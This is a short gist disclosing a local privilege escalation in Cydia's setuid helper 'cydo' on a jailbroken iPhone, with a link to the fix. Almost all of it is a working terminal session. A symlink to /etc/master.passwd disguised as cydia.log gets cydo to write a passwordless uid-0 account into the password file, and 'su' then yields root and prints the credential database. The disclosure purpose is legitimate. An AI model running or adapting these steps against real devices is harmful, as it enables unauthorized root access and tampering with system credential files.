Cydo Arbitrary Write Local Privilege Escalation

gistfile1.txt

Hakans-iPhone:/var/tmp mobile$ ln -s /etc/master.passwd
Hakans-iPhone:/var/tmp mobile$ mv master.passwd cydia.log
Hakans-iPhone:/var/tmp mobile$ /usr/libexec/cydia/cydo ":0:0::0:0:System Administrator:/var/root:/bin/sh"
thou shalt not pass
Hakans-iPhone:/var/tmp mobile$ su cydo
Hakans-iPhone:/var/tmp root# cat /etc/master.passwd
##
# User Database
#
# This file is the authoritative user database.
##
nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false
root:REDACTED:0:0::0:0:System Administrator:/var/root:/bin/sh
mobile:REDACTED:501:501::0:0:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false
_ftp:*:98:-2::0:0:FTP Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24::0:0:Network Services:/var/networkd:/usr/bin/false
_wireless:*:25:25::0:0:Wireless Services:/var/wireless:/usr/bin/false
_neagent:*:34:34::0:0:NEAgent:/var/empty:/usr/bin/false
_securityd:*:64:64::0:0:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65::0:0:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75::0:0:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99::0:0:Unknown User:/var/empty:/usr/bin/false
_distnote:*:241:241::0:0:Distributed Notifications:/var/empty:/usr/bin/false
_astris:*:245:245::0:0:Astris Services:/var/db/astris:/usr/bin/false
cydo: :0:0::0:0:System Administrator:/var/root:/bin/sh
Hakans-iPhone:/var/tmp root# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Hakans-iPhone:/var/tmp root# uname -a
Darwin Hakans-iPhone 14.0.0 Darwin Kernel Version 14.0.0: Wed Jun 24 00:50:03 PDT 2015; root:xnu-2784.30.7~30/RELEASE_ARM64_T7000 iPhone7,2 arm64 N61AP Darwin
Hakans-iPhone:/var/tmp root# 

Fixed in http://gitweb.saurik.com/cydia.git/commit/06325acfa9b258fd7ab170880a4050fe8c4394b6